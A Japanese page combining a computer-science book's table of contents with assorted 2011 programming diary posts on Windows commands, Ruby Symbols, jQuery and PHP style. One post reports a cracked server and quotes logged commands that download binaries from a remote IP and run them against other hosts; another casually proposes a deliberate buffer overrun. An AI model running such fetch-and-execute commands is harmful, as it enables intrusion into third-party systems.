第16章  様相論理時間論理
	E.A.Emerson:志村 立矢

1. 序論
2. 時間論理の分類
	2.1 命題論理 対 1階述語論理
	2.2 大域的と合成的
	2.3 分岐的 対 線形
	2.4 時点と時区間
	2.5 離散 対 連続
	2.6 過去時制 対 未来時制
3. 線形時間論理技術的基礎
	3.1 タイムライン
	3.2 命題線形時間論理
	3.3 1階の線形時間論理
4. 分岐的時間論理技術的基礎
	4.1 樹状構造
	4.2 命題分岐的時間論理
	4.3 1階の分岐的時間論理
5. 並行計算:その基礎
	5.1 非決定性と公平性による並列性のモデル化
	5.2 並列計算抽象モデル
	5.3 並列計算の具体的なモデル
	5.4 並列計算の枠組みと時間論理の結び付き
6. 理論見地から時間論理
	6.1 表現可能性
	6.2 命題時間論理の決定手続き
	6.3 演繹体系
	6.4 モデル性の判定
	6.5 無限の対象の上のオートマトン
7. 時間論理プログラム検証への応用
	7.1 並行プログラム正当性に関する性質
	7.2 並行プログラム検証証明論的方法
	7.3 時間論理による仕様からの並行プログラム機械合成
	7.4 有限状態並行システム自動検証
8. 計算機科学における他の様相論理時間論理
	8.1 古典様相論理
	8.2 命題動的論理
	8.3 確率論理
	8.4 不動点論理
	8.5 知識


第17章  関係データベース理論の構成要素
	P.C.Kanellakis:鈴木 晋

1. 序論
	1.1 動機と歴史
	1.2 内容についての案内
2. 関係データモデル
	2.1 関係代数と関係従属性
	2.2 なぜ関係代数か
	2.3 なぜ関係従属性か
	2.4 超グラフデータベーススキーマの構文について
	2.5 論理データベース意味について
3. 従属性データベーススキーマ設計
	3.1 従属性の分類
	3.2 データベーススキーマ設計
4. 問合わせデータベース論理プログラム
	4.1 問合わせの分類
	4.2 データベース論理プログラム
	4.3 問合わせ言語と複合オブジェクトデータモデル
5. 議論:関係データベース理論のその他の話題
	5.1 不完全情報の問題
	5.2 データベース更新の問題
6. 結論


第18章  分散計算モデル手法
	L.Lamport and N.Lynch:山下 雅史

1. 分散計算とは何か
2. 分散システムモデル
	2.1 メッセージ伝達モデル
	2.2 それ以外のモデル
	2.3 基礎的概念
3. 分散アルゴリズムの理解
	3.1 挙動の集合としてのシステム
	3.2 安全性と活性
	3.3 システム記述
	3.4 主張に基づく理解
	3.5 アルゴリズムの導出
	3.6 仕様記述
4. 典型的な分散アルゴリズム
	4.1 共有変数アルゴリズム
	4.2 分散合意
	4.3 ネットワークアルゴリズム
	4.4 データベースにおける並行性制御


第19章  並行プロセス操作的および代数意味論
	R.Milner:稲垣 康善,結縁 祥治

1. 序論
2. 基本言語
	2.1 構文および記法
	2.2 操作意味論
	2.3 導出木と遷移グラフ
	2.4 ソート
	2.5 フローグラフ
	2.6 拡張言語
	2.7 その他の動作式の構成
3. プロセスの強合同関係
	3.1 議論
	3.2 強双模倣関係
	3.3 等式による強合同関係の性質
	3.4 強合同関係における置換え可能性
	3.5 強等価関係上での不動点の唯一性
4. プロセスの観測合同関係
	4.1 観測等価性
	4.2 双模倣関係
	4.3 観測合同関係
	4.4 プロセス等価性上での不動点の唯一性
	4.5 等式規則の完全性
	4.6 プロセス等価性に対するその他の概念
5. 双模倣等価関係の解析
	5.1 等価性の階層構造
	5.2 階層構造論理的特性化
6. 合流性をもつプロセス
	6.1 決定性
	6.2 合流性
	6.3 合流性を保存する構成子
7. 関連する重要な文献

2011-08-18

http://anond.hatelabo.jp/20110818190358

引数かわってんじゃん!

こっちの入力はかわってないのに、他の誰に入力されてんだよ。

2011-08-05

start コマンドで起動したい実行パスに空白が含まれる場合 単純に""で囲ってもダメ

cmd.exe の内部コマンド start について

(以前はstart.exeという独立した実行ファイルであった)



start の直後にダミーで "" を挿入することがミソ。

start "" "C:\Documents and settings\Fukushima\My Documents\aiue.doc"



startコマンドヘルプをみるとわかるが、

"(引用符 ダブルクォーテーション)がついている引数は、ウインドウタイトルだと認識してしまう模様。

なので、先に空の文字列タイトルを指定して(別に文字を入れてもいいけど)

そのあとに続く/(スラッシュ)なしの引数が実行パスであると判断させる。




と、こちらのブログに記載されていた。感謝します。

http://cmd-pro.com/m_start.html

WSH(Windows Scripting Host) でショートカット作成 と 例外:0x80020009

こちらを参考にVB.NET作成

http://dobon.net/vb/dotnet/file/createshortcut.html



コードを変更中

COMException HERSULT:0x80020009(DISP_E_EXCEPTION)

発生。

見直していたら

CreateShortcut メソッドで指定している引数拡張子が .lnk でなかったことに気付く。

拡張子が.lnk になるよう直したところ、発生しなくなった。

2011-07-29

クラッキングされたサーバで実行されていた怪しいコマンド晒す

うちの大したことに使ってもいないのに常時稼動で外部公開なサーバクラックされて以下のコマンドが実行されていた。

sh -c cd /tmp;wget ttp://195.69.220.2/dd_ssh;chmod 755 dd_ssh;./dd_ssh 50 217.79.190.53 2 >/dev/null 2>/dev/null
sh -c cd /tmp;wget ttp://195.69.220.2/slowdssh;chmod 755 slowdssh;./slowdssh  >/dev/null 2>/dev/null
sh -c cd /tmp;killall -9 ssh2;wget ttp://195.69.220.2/ssh3;chmod 755 ssh3;./ssh3 200 72.20.14.174 >/dev/null 2>/dev/null

((正式なリンクだと502エラーが出て書き込めないのでhを抜いてあります。))

このコマンドを実行するとドイツサーバからプログラムダウンロードして実行するみたい。

ちなみに、いろんなサーバssh接続を試みるプログラムっぽい。



このプログラムたちは2007年11月頃にビルドしたApache/2.0.61にぶら下がって動いていた。

ログは綺麗さっぱりなくなっていて、2011年7月24日以降の情報しか残っていなかった。

どうやって侵入して実行したのか分からなかったけど、古いApacheと一緒に動いていたのでApache更新しなかった自分が悪いと思っている。



「dd_ssh」や「ssh3」の引数を書き換えて実行してみたいけど、それって犯罪じゃないかと思うと怖くてできない。

誰か詳しく調べてちょ。

2011-07-16

[] Symbolについて

RubyのSymbolと文字列の違いを研究室輪講用に書いたのですが,折角なので公開したいと思います

元々学部生に対する輪講用に書いた物なので,若干上から目線ですがご了承ください.

Symbolの意義は何か

文字列とSymbolはよく似ていますプログラマから見ればどちらも文字列です.違いを一言で説明すると『プログラムが扱う』文字列か,『プログラマが見る』文字列かの違いです.例えば変数名は『文字列ですが,rubyオブジェクトである文字列』ではないですよね?

例えば,今あなたC言語お絵描きライブラリを作っているとしましょう.その中に,色で塗りつぶすfillという関数があり,色を青・赤・緑の3色から選べ,fillの引数でそれを指定できるとしましょう.

fillの引数の設定方法として一番単純なのが,0を青,1を赤,2を緑として,0〜2で選択させる方法でしょう.しかし,それでは,どの数値が何色か覚えないといけないし,fill関数を知らない人から見れば,どういう意味引数かすらさっぱり分かりません.

ではどうするかと言えば,普通BLUE = 0, RED = 1, GREEN = 2と適当に定数を設定して,その定数を引数で指定させますよね.

こうして,fill関数引数意味の無い数値から意味のある文字列に変わったことによってプログラムが分かりやすい物となります.さて,ここで注意してほしいのは,ここで言う文字列プログラムが扱うオブジェクトとしての文字列では無いということです.fill関数引数として,"BLUE","RED", "GREEN"などとC言語文字列を渡すということは普通しませんよね.それは,ここで言う文字列は,あくまでプログラマプログラムコードを分かりやすくするために必要な文字列であって,プログラムオブジェクトとして扱う(例えば,長さを求めるとかする)文字列ではないかです

分かってきたでしょうか?

プログラムコード上では(つまりプログラマから見れば)どちらも同じ文字列(文字の列という意味で)ですが,実際に動くプログラムから見れば単なる数値と本物の文字列という大きな違いです.結局,fill関数引数の具体的な値は何でもいいわけですプログラマから見て文字列であればそれだけでよく,プログラムが動くときの実際のその中身は何でもいいわけです.これのために存在するのが,Symbolであり,:fooとひとたびSymbolを作成すれば:fooの実態は適当な数値となります.(この数値がいくらかなんていうことはもちろん気にする必要はありません)

そして,もちろん同じプログラム上では:foo == :fooはちゃんと成り立ちます.もうここまでくれば,Hashのkeyとして文字列でなくSymbolを使う理由が分かりますね.Hashのkeyはあくまで,プログラマが見る(プログラムコードを分かりやすくするための)文字列であってプログラムが扱うオブジェクトとしての文字列では無くて,keyの実際の値は何でもいい,からですね.(特別な場合を除いて)Hashのkeyに対してrubyStringメソッドを使うなんてことは無いですよね.

なぜrubyにはSymbolが存在するのか

しかし,他の軽量言語ではSymbolなどなくHashのkeyとして普通に文字列を使うことが多いです.では,なぜrubyだけSymbolを使うのでしょうか.

その答えは一言でいうと,rubyの(プログラムコード上に直接書かれた,つまりリテラルの)文字列は他の言語と違いimmutable(不変)でない,からです.実際,pythonjavascript文字列(リテラル)は破壊的に変更することはできませんが,ruby文字列破壊的に変更することができます. ('abc'.concat('d')の様に)

これがどういう違いを生むかというと,コード上に直接現れる文字列がimmutable(不変)であるならば,実行時に一つだけそのオブジェクト作成し,後はそれを使いまわすという最適化ができます

そうした時,Hashのkeyの様なプログラマから見た文字列というのは,プログラムコード上のリテラルとして現れるわけですが,これらは実行時に一つだけオブジェクト作成され(特にコード上に現れる同じ文字列は全て一つのオブジェクトにまとめると),それらの比較はそれらに対する参照(そしてこれは大抵メモリアドレスなど単なる数値)の比較で済むので,結局Symbolと同じ様な働きをするわけです

本当はプログラマが見るためだけの文字列だけど,それをオブジェクトとしての文字列としても,Symbolと同じ様な働き,パフォーマンスが得られるならば,別にオブジェクトとしての文字列であってもいいわけです

繰り返しになりますが,プログラマが見るためだけの文字列は,その中身・実態は何でもいいわけですが,その実態がオブジェクトとしての文字列でも十分なパフォーマンスが得られるならば,別にオブジェクトとしての文字列でもいいわけです

さて,rubyに話を戻しますと,rubyコード上に現れる文字列であっても,実行時にそのコードを通る度に毎回新たな文字列オブジェクト作成します.

(以下のプログラムを動かすことで確認できる.)

def foo
  'foo'.object_id
end
p foo, foo

まりrubyでは文字列が可変であるため,先に述べたような最適化ができない(または難しい)ので毎回新たな文字列オブジェクト作成されるのです

こうなると,先ほどの話とはうってかわって,プログラマが見る文字列はその実態は何でもいいのに,それを文字列リテラルrubyオブジェクトとしての文字列)にしてしまうと,毎回毎回文字列オブジェクト作成されてしまうという非常にばかばかしい状況になってしまます.我々はそれらの文字列オブジェクト文字列としての操作は一切施さないのにも関わらず,です

こういうわけで,rubyではプログラマが見るためだけの文字列にSymbolというruby特有のものを使うのです

もちろん,プログラマが見るためだけの文字列を全て定数として(そしてもちろん中身は適当な値で)定義しても構わないわけですが,Hashのkeyとかで数多くのプログラマが見るためだけの文字列が現れることを考えると,とてもじゃないですけどそんなことは面倒でやってられないですよね.ですので,実行時に自動適当な値にしてくれるSymbolというもの存在するのです

以上で,Symbolについての説明を終えます.以下は蛇足です

おまけ

最初の方で出てきたfill関数rubyで実装しようとしたとき,青・赤・緑の各色はその実際の値はなんでもいいのでrubyのSymbolを使って:blue, :red, :greenとしてもいいのですが,ライブラリとかでは大抵ちゃんと定数として定義されていることが多いです

これは恐らく,定数として明示的に定義することで値の存在を明示でき,ドキュメント化の際にも役立つことによっているのでしょう.

Symbolだと,良くも悪くも定義がいりませんから

しかし,あくまでこれは外部に公開するようなライブラリでの話であって,自分が使うちょっとしたプログラムならこういう場面でも精力的にSymbolを使っていってもいいと思います.ちなみに,僕ならSymbolを使います

Symbolだと定義もいりませんし,定数は大文字ですからつのが面倒ですし,あまりソース大文字が入ると見た目がすっきりしません(主観).

Symbolは非常に便利なものですので,その意義・用途を十分に理解して,Hashのkeyにとどまらず様々な所で使えるようになりましょう.

2011-06-27

jQuery.fileTree と 日本語ファイル名 (IIS & PHP)

IIS+PHP(つまりWindows環境)で

A Beautiful Site (http://abeautifulsite.net/)さんの

jquery.fileTreeを利用させてもらった。

以下、留意点...



script:

パスを指定しないと、もとのhtmlがあるパス(ディレクトリ)にあるもの解釈する。

(/jqueryFileTree.php と指定すると、公開しているルートディレクトリにあるjqueryFileTree.phpを探しにいく)

http://...と指定して他のサーバへ問い合わせるのも可能な模様(だが、試していない)。



root:

Windows場合は、最後に/または¥が必要。

d:/

d:/temp/

など



日本語文字化け対策:

hemlentries -> htmlspecialchars は必須。

 http://treatment-head.blogspot.com/2008/11/jquery-file-tree_21.html

 ただし、UTF-8EUC-JPでページを記述している場合は、さらに処理が必要。



phpではscandirなどのファイル処理において

windowsでは、mbstringの設定にかかわらず、引数SJIS渡し、戻り値SJIS返しの模様。

したがってUTF-8EUC-JPでページを記述している場合は、

その点を考慮してconnectorsフォルダにあるjqueryFileTree.phpを書き換える必要がある。

(きれいなソースでないので公開はちょっと控えます)


このphpファイルの先頭に

$_POST['dir'] = urldecode($_POST['dir']);

という行があるが(スーパーグローバル変数デコード済みで、さらにデコードするのは危険phpマニュアルに記載されている)

どのみちUnicode文字列URLデコードはこの関数では無理なようなので、phpマニュアルのUserNoteから拝借。

http://php.net/manual/en/function.urldecode.php



こちらにズバリが掲載されているか...と試してみたが、どうも動作がうまくいかなかった

http://ameblo.jp/pushurinko/entry-10287161493.html



他、ご参考

 http://life-hack.jp/blog/charly/151

2011-05-30

http://anond.hatelabo.jp/20110530004826

まぁ、バグ放置報道は「致命的なバグがあると知って放置した場合からな。

ログが残る経路で連絡されたら放置できないって感じになるか。

ところで、そのプログラムじゃ意味がなくって、引数データを渡して、バッファオーバーランが起こるようなプログラムがいいと思うよ。

コンパイラも通るし、「仕様通りに」データが渡されれば問題なく動く。

文字列ポインタで受け取ったあげく、レングスチェックを行わずに処理すれば良いだけの、簡単なお仕事

2011-05-02

Webサイト制作】独学素人jQueryで、ドラクエ画面を作ってみた

こんなサイトを作ってみました

 オッス、オラ日曜ネット大工

 1年に1回くらい趣味webサイトを作ったりする独学素人ノンプログラマーです



 仕事はIT系にかすりもしないけど、たまサイトが作りたくなるんです

 htmlCSSも知識不足ですが、作成ソフトに頼ればなんとかなります

 そんなレベルで無謀にも「JavaScriptも使いたいな」とか思ったりするわけですよ。

 で、たまに「簡単にわかJavaScript入門」なんてサイトや記事がありますよね。

 ああいうのを書いてくださる人に、ちょっと言いたい。



 あの、独学素人ノンプログラマーの俺をなめてませんか?

 あなた方の想像を絶するほどに、俺のIT系理解能力ゴミクズですよ!

 「簡単に分かる入門」にさえ入門できません助けて先生



 と、鼻水をたらしながら泣き出すような底辺レベルスキルしかないザコであります自分は。

 ですが、jQuery出会い、見よう見まねと思いつきで作ったら、こんなんできました



ドラゴンクエスト・ロトシリーズのストーリーまとめ



 jQueryってやつを使えば、ド素人にもこんなものが作れるんですね。

 超簡単で超便利! 作ってめっちゃ感動した

 そんな感動を伝えるため、このサイトの中身を説明してみます

 あと自分の個人的な超自己満足! いやっほぅ!



 なお、素人なんで専門的な解説は他にお任せします。

 用語とかあんまり使わずに、中高生でも読めるレベルで語ります

 (小学生はがんばれ! めっちゃがんばれ!)

 web制作にくわしくない方にも「どうなってるのか?」って雰囲気は伝わるかと思います。

 技術はないけど、人とは違ったwebサイトを作りたいって方、jQueryジオススメです



 きちんと勉強されてる方からすれば失笑ものの内容かもしれませんが、ご容赦を。

 よくある「入門」すら難しく感じる自分のような方々に届けるつもりで書きます

 くわしい方は、間違いなどがあれば温かくご指摘いただければ幸いです

 あと、「知識不足人間はこんな思考をしてるのか」という参考になればうれしいです



 前置きが長くなりましたが、それではサイトで使用したつのjQueryを説明します。



1・パッケージ画像が拡大されて表示されるとこ

 jQueryには「プラグイン」ってのがあります

 プログラマーさんたちが作った高性能なjQueryコードなんですが、このプラグインってのが超便利なんです

 使い方は、すでに作られているコードコピーして、ちょっとのアレンジするだけ!

 自分ゼロから作れなくてもOKなんです



 昔、jQueryの知識がほぼゼロだったころ、このプラグインを知りました

 で、俺も「カッコいいプラグインが使いてええ!」と考えて試しに使ってみたわけです

 けどまあ、プロが作ったコードを、知識ほぼゼロで動かそうなんて甘すぎですよね。

 でも、あんまり深く考えずに、貼りつけて動かしてみたところ――

 あっけないほど簡単に動きました

 それがサイト内の、パッケージ画像マウスを合わせると大きくなる部分です

 みなさま、マウスを合わせて動くか確かめてみてくださいませ。

 きれいな動きしてるだろ? ほぼコピペなんだぜ、それ。



 プラグイン「Bubbleup」

 紹介記事1 マウスオーバーを気持ち良くするjQueryプラグイン「Bubbleup」 | Web活メモ帳

 紹介記事2 JavaScript + Ajax 実践サンプル集 - jQueryのbubbleupプラグインでアイコンを拡大する

 配布元(英語BubbleUp jQuery Plugin to Spice Up Your Menu | AEXT.NET MAGAZINE



 ネット上にはこういうのがいっぱいあるんで、ぜひいろいろ眺めてくださいませ。

 とりあえず、プラグインまとめサイトを置いておきますね。

jQuery 469 プラグイン:skuare.net



 こういうの眺めても、「どうせこんなの使えないし」と思えますよね。

 でも、「これがコピペで使えるのか!」と思えば楽しくなってきません?

 このプラグインってのを使いこなすには、htmlCSSの知識が必要です

 ですが逆に言えば、それと切り貼りアレンジだけで、高性能のjQueryが使えるわけです。最高ですぜ。



2・最初の消える画面

 プラグインを貼ってカッコよく動いたんで、

「やっぱ俺天才だな、自作も楽勝じゃね?」

 と考え、最初に作った自作jQuery部分が、サイトの表紙です



 世の中には、JavaScriptを有効にしていない人がいます。

 たとえば、決して私ではありませんが、エロサイトで出る変な広告表示をさけるため、それを切っている人もいます。

 で、頻繁にエロサイトに通いすぎて、切ったままなのを忘れて普段のサイトを巡ると、たまに表示がおかしくなる。

 あれは実に面倒らしいですね。噂で聞きました

 で、そんな人のために「JavaScriptを有効にしてください」と書いた表紙をつけたわけです



 ですが、jQueryはまだよく分かってなかったんで、「入門」のサイトを眺めてました

 で、いくつか読んでみても、やっぱりすぐには分からん……。

 でもね、そういうとこには、「練習用サンプル」ってのがあるんですよね。

 練習台で「ボタンクリックすると画像が非表示になる」みたいなのがあったんで――

 それをほぼコピペしました。ふひひ。



 みなさま、いかがでしょ?

 サイトjQueryは、「画像クリックすると画像が非表示になる」とアレンジしています。

 最初に現れる画像クリックすると、画像が消えて下の画面が現れましたでしょうか?

JavaScriptを切っていると動きませんのでご注意を)

 この表紙は1枚の大きなjpg画像で、それをクリックすると消えるようになってます

 よく分からんまま見よう見まねで貼りつけて動かしただけなんですが、こ、こいつ、動きます

 なんつーか、簡単すぎる。マジでjQuery万歳三唱です



自分が主に使った入門用サイトの紹介>

 はじめてのjQuery

 ・5分ほどのスライド最初見たときは知識不足で理解不能だった。

 ASCII.jp:40分で覚える!jQuery速習講座

 ・初心者の神・西畑一馬様の入門講座。jQueryの雰囲気が分かる!



 なお、「はじめてのjQuery」を見たのが、このドラクエサイトを作るきっかけでした

 黒い画面に浮かぶスライドを見て、「ドラクエの画面っぽい」とひらめいたのです

 いろんなjQueryサイトを見てパクれる……いや、参考になるのを探すのは面白いかと思います。

 うちのサイトを見て、「懐かしのゲームブックサイトを作りたい!」とかひらめいてください。

 個人的に楽しみたいので、ホントぜひどうか誰かひらめいてください!



 で、簡単に動くのを見て、jQueryのすごさを改めて思い知り、きちんと勉強しようと考えました

 そこで助けられたのが、jQuery初心者救世主西畑一馬」さんの記事です

 それを見ながらようやくjQuery勉強を始めたのです

 なお、本格的に勉強しようという人は、入門の「速習講座」より、

 ASCII.jp:Web制作の現場で使えるjQuery UIデザイン入門

 という記事がオススメです

 これも同じく西畑さんの記事なのですが、こちらは量が膨大にあります

 速習講座では軽く流された部分も、一個ずつ丁寧に解説されています。

 本気でやる気に火がついた方にはこちらがオススメです

 というか、西畑さんは本を書いてはるので、それを買いましょう(布教)。

 サイト作成ではホンマに助けていただきました……!



3・「すすむ」と「もどる」

 勉強しながら、コピペでなく試行錯誤で作ったのがこれです

 ここは入門によく書かれる「アコーディオンパネル」をアレンジして作りました

 アコーディオンのように開いたり閉じたりするアニメーションでの演出です



 jQueryは、簡単にいろんなアニメーション効果がつきます。これが楽しんです

 そこから3種類を紹介すると、

 どうですか? なんかおもしろそうじゃないですか?

 自分サイトの「すすむ」「もどる」で使っているのは、スライドアニメーションです



<「すすむ」の仕組み>

 「すすむ」を押すと、表示部分が上に隠れて消え、次が表示されます

 あんま気にしなくていいんですが、処理を細かく言うと、

  1. 最初は一番目だけが表示部分
  2. クリックで、表示部分の次の二番目も表示
  3. 直後に一番目を上にスライドして消すことで、二番目がスライドして現れる

 という変な動きをしています。

 たぶんもっと簡単な処理ができると思うんですが、自力で考えてやるとこんな感じになりました



<「もどる」の仕組み>

 こっちは簡単。

 クリックしたら、表示部分の前の部分スライドして現れるだけです



 正直この「すすむ」には苦戦しました……。

 けど、ちょっと苦戦して勉強するところがあるのもまたよいです

 勉強したおかげで、jQuery能力がちょっと見えました

 htmlとかCSSとかからすると、jQueryはなんか信じられないくらい大量のことができます

 たぶん、jQueryの元になってるJavaScriptがすごいんでしょうね。

 わずかに勉強して改めて、使いこなしているプログラマーのすごさを思い知りました



4・「もくじ」とかの移動

 で、順調に進んでいたサイト作成最後で壁になったのが、こいつです

 この目次には、2つの仕組みがあります

  1. 「もくじ」にマウスを合わせると、ひょいっと選択画面が現れる仕組み
  2. クリックすると指定の場所へ飛んでいく仕組み

 1つめの、「マウスを合わせたときの動作」は「hover」というものを使っています。

 hoverってのは、「マウスを合わせたとき」ってことです

 なんか難しいのが出てきましたが、実はこれも入門講座の例をパ、参考にしました

 上で挙げた、「はじめてのjQuery」に出てきた「hover」の使い方の例ですコピー万歳

 でも、いきなり「hover」とか言われても意味分からん人も多いですよね。

 なので、どんな感じで動いているか、「ふーん」とイメージだけ見ておいてください。



処理イメージ

  1. 初期状態では選択画面を隠す
  2. 「もくじを hover(カーソルを合わせる)したとき」「選択画面を 表示させる」
  3. (hoverじゃないときは、選択画面を隠す)

 ということをやっています。

 これは簡単な処理した。まあ、ほぼ丸写しですし……。

 で、苦戦したのが、2番目の「クリックして移動」です

(なお、パッケージ画像クリックしたときも同じ移動を使っています)



 処理の内容としては、たとえば「ドラクエ1・1話」の項目に飛ぶ場合

  1. ドラクエ1・1話」の前の部分すべてをスライドさせて消す。
  2. ドラクエ1・1話」の部分スライドさせて出す。

  (実際に見えるのは、2のスライドして出てくるところだけ)

 という処理です



 が、なぜかここでエラーが。

 「ドラクエ1・1話」に飛んだ後、「すすむ」がうまく使えない……。

 まるで「次が存在しない」みたいに進まなくなってしまうんです

 ぶっちゃけると、ここは今でも原因が分かりません。

 で、理屈が分からいから、思いつく方法を手当たり次第試してみました

 その中で成功したのが、「次が存在しないなら存在させてしまえ」というものです

 何を言っているかからないと思いますが、大丈夫、俺も分かりません。



 いちおう処理としては、

 1・「ドラクエ1・1話」の前の部分すべてをスライドさせて消す。

 1.5・「ドラクエ1・1話」の後ろの部分すべてをスライドさせて出す。

 2・最後に「ドラクエ1・1話」の部分スライドさせて出す。

  (実際に見えるのは、2のスライドして出てくるところだけ)

 と、1.5を入れたものです



 自分でもなんで成功したのかはよく分かりませんが、きちんと表示はされています。

 よく分からないなりにも動いてしまったのは、きっとjQueryのパワーだと勝手に納得しておきます

(ここはきちんと知識のある人に見せるのが恥ずかしい内容ですね。変なコードですみません)



最後お話したい、jQueryのすごいパワー

 つまるところもありましたが、以上がjQueryでの処理です

 これで何とかサイトは完成しました

 たま休日作成する趣味レベルサイトとして、自分でもすごく満足です



 で、このサイトを作って気づきました

 jQueryは何がすごいかって、これ、めっちゃ楽しいですよ。

 ・プラグインコピペするだけで見違えるように、サイトが動く。

 ・ちょっと表現を覚えるだけで、表現アニメーションが加わる。

 ・さらに研究すればするほど、いろんなことができるようになる。

 今までJavaScriptとか、独学素人なんで、なかなか勉強する気が出ませんでした

 勉強の大事さは分かるんですが、時間とか取れないです

 しかも、「関数引数がどうたらで、まずは足し算をアラート表示」とか、あまりやる気が出ません。



 でも、jQuery勉強の成果がすぐにめっちゃ分かりやすく出ます

 たぶん、自分にとって一番効果が大きかったのは、簡単さよりも便利さよりも、「やる気が出る」ってことでした



 実は、いったん完成した後、付け加えた機能があります

 それは「すすむ」の部分

 「最後のページで『すすむ』をクリックすると、始めに戻る」という機能です

 ここは、jQuery独自の機能を使ったわけではありません。

 JavaScriptの「if構文」を勉強して作りました

 jQueryJavaScriptの一種なんで、こういう構文が使えるんですよね。



 どんな感じの処理かを説明すると、

  • もし、最後なら最初に戻る。
  • それ以外なら、表示を次に進める

 という、単純なものです

 単純だけど、初めてのJavaScriptの構文で、自分には大きな一歩です

 今まで進むことができなかった、本当に大きな一歩を、自然と踏み出せていたのです



 届けたいので、もう一度書きます

 jQueryめっちゃ楽しいです

 めっちゃ楽しくて、やる気を引き出してくれるんです

 今はま技術はないけど、魅力あるwebを作る力を身につけたい方、jQueryジオススメです

 自分も取れる時間は少ないなりに、楽しみながら少しずつ進歩していきたいと思います。



 このような長い文章をご覧いただき、誠にありがとうございました

2011-03-30

http://anond.hatelabo.jp/20110330131752

PHPはよくしらないけどちょっと tan部分読んでみた

やってることは、PHP_FUNCTION(tan) から libc の tan を呼ぶまでに、zend_parse_parameters で引数パースして数字かどうかをチェックして数字だったら取り出すってことをやっていた

このチェックはかなり深くて、これだけやってもJava10いかないってのは驚いた

足し算の部分も似たようなもんだと思う

JavaIEEE 754のチェックをしてnative methodのtan呼んでるだけだった(読む気がしない)

2011-03-20

より良いPHPerにならないための20Tips

http://1-byte.jp/2011/03/20/20_tips_you_need_to_learn_to_become_a_better_php_programmer/

良いPHPerだって?そんなものは丸めゴミ箱にでも捨ててしまった方が資源の再利用になる分いくらかマシだ。

つまり俺たちがしなくちゃならないことは「より良いPHPerにならないため」に何ができるかってことなのさ。

それじゃ、始めよう。

1. ?>を使うな

?>なんて使っちゃいけない。そう俺たちはBAD PHPer。

無駄ホワイトスペースの出力に悩まされるくらいなら対称性なんて丸めゴミ箱にでも捨てた方がまだマシだ。非対称性こそが賛美。

2. 設定ファイルPHPで書くな

require_once("config.php");

未だにこんなことやってるやつがいるのかいベイベー。絶対にダメだ。この一行を見たら俺は悶絶する。

ダメだ、早く何とかしないと。

大抵このconfig.phpの中身はこうなっている。見て絶望だ。

$hoge_path = '';
if (!LOCAL) {
    define('FOO_FLAG', 1);
    if (HONBAN) {
        define('HOGE_FLAG', 1);
    }
    else if (TEST) {
        define('HOGE_FLAG', 2);
    }
}
else {
    $hoge_path = '/local';
    define('FOO_FLAG', 2);
    define('HOGE_FLAG', 3);
}

define('HOGE_URL', $hoge_path.'/hoge/');

こういうのが延々と続くわけだ。もういやだ。もう見たくない。

本番環境テスト環境でどういう値の違いがあるのか、ローカル環境だとどうなるのか、まったく把握できる気がしない。

なまじPHPな設定ファイルのせいで処理をついつい書いてしまう。そしてどんどん複雑になってしまう。

やはり設定データは基本的にYAML等のデータしか定義できない形式のもので用意すべきだ。そして環境ごとに設定ファイルを分けるべきである

そうすることで何にどういう違いがあるのかすぐにわかるし、diffすれば一度にすべて把握することができる。

# 本番環境設定ファイル
foo_flag: 1
hoge_flag: 1
hoge_url: '/hoge/'
# テスト環境設定ファイル
foo_flag: 1
hoge_flag: 2
hoge_url: '/hoge/'
# ローカル環境設定ファイル
foo_flag: 2
hoge_flag: 3
hoge_url: '/local/hoge/'

3. コメントを信用するな

そう、あなたはこんな状況に遭遇したことがあるんじゃ?

// ここで後の処理のためにhogeメソッドを呼び出しておく
$q->foo();

// $a['foo']はここに来る時点で真のはず
// 2010-03-10 判定がおかしいので修正
// 2010-06-21 やっぱり値が入ってる方が正しい
if ( !isset($hoge[0]) ) {
}

コメント保守されない。そう、それは真実。こんなコメント発見したら即効削除しよう。コメントは基本信じるな。

俺たちにちょっとしたヒントと大きな損害を与えてくれる、それがコメントの役割なのだ。

4. タブとうまく付き合うしかない

わかる。いいたいはとてもわかる。俺たちはしばしばインデントにスペースを使うはずだ。一方でIDEのしっかりした言語ではタブも使うことがある。しかし悪いことに、両者を混同しているプログラマも一定数いるのだ。

タブを画面上で認識しにくいエディタが世の中には存在する(何とは言わないが)

そして画面上で認識しにくいことを理由にタブを気にしないプログラマがいる。

この二つの条件が重なると、タブとスペースの交じり合ったインデントが完成する。もうぐちゃぐちゃだ。これは永遠に続く戦いだ。

私たちが勝利を掴むためにできることなどせいぜい、常にスペースしか使わない。タブを見つけたらその都度スペースに変換する。そういった地道な活動が明日へとつながるのだ。

5. 変数名に時間をかけるな

われわれがプログラムをするとき、何に一番時間がかかってるか。実は変数の命名なのである。ここで拘り過ぎて時間をかけ過ぎては何も進まない。

御託はイイからさっさと書け、だ。しかしとはいっても変数名は重要。日頃からどういうときにどんな名前を使うかを決めておくといい。

そして変数名に型はまったく必要ない。型宣言のないPHPにおいて、型の変数名をつけること自体ナンセンスだ。

コンパイラ様に保証されてない状態での

$iNumber = 'aaa';

になんの意味もない。コメントを信じるなでも言ったが、これはプログラマを混乱させるだけの害悪なものだ。

6. 変数初期化場所

変数を使う前に初期化するのは、警告を出さないという意味でも良い癖だ。しかし具体的にどこでやるかが問題だ。

$foo = null;
$foo = $q->foo();

こんな初期化意味はない。よくあるのはやはり、if文で値を振り分けるケースだろう

$foo = null;
if ( $hoge ) {
    $foo = 1;
}
else if ( $bar ) {
    $foo = 2;
}

このとき初期化はとても有効だ。もしnullの初期化を忘れたまま$fooを使うと警告が出るが、ちゃんと初期化してるので出ない。基本中の基本だ。

7. 不正なら常に死ね

function getStatus() {
    $bReturn = false;
    if ($i == 2) $bReturn = true;
    return $bReturn;
}

(中略)

もし、何かしらの理由で、あなたの書いたif文が間違っていたら?

この書き方をしていれば、間違った値に対して、常にfalseが返る。

私たちが、PHPでsensitiveなデータを取り扱うなら、正しいデータ入力されるまでは、動かないコードを書くべきだ。

trueとfalseの条件がいまいち明確ではないが、本当に動かないコードを書けというのであれば以下のようにすべきだ

function getStatus() {
    $bReturn = false;
    if ($i == 2) $bReturn = true;
    else if ($i == 1) $bReturn = false;
    else throw new Exception("bad status! $i");
    return $bReturn;
}

中途半端にfalseを返して生存させる必要性はまったくない。今すぐ死ね

8. 連想配列キーアクセスする場合

単なる配列に対して数値をクオートで囲う必要はない。

連想配列キーを指定する場合だけ定数と間違わないようにクオートで囲まなければならない。そして逆に定数を使いたい場合はクオートで囲ってはいけない。

更に後世のプログラマ処理を見たときに、定数が使いたかったのか、文字列が使いたかったのかを明確にした場合はconstantを使うと良い。

// 定数のFOOを使うよということが明確になる
print $a[constant('FOO')];

9. echoよりもprintfを使え
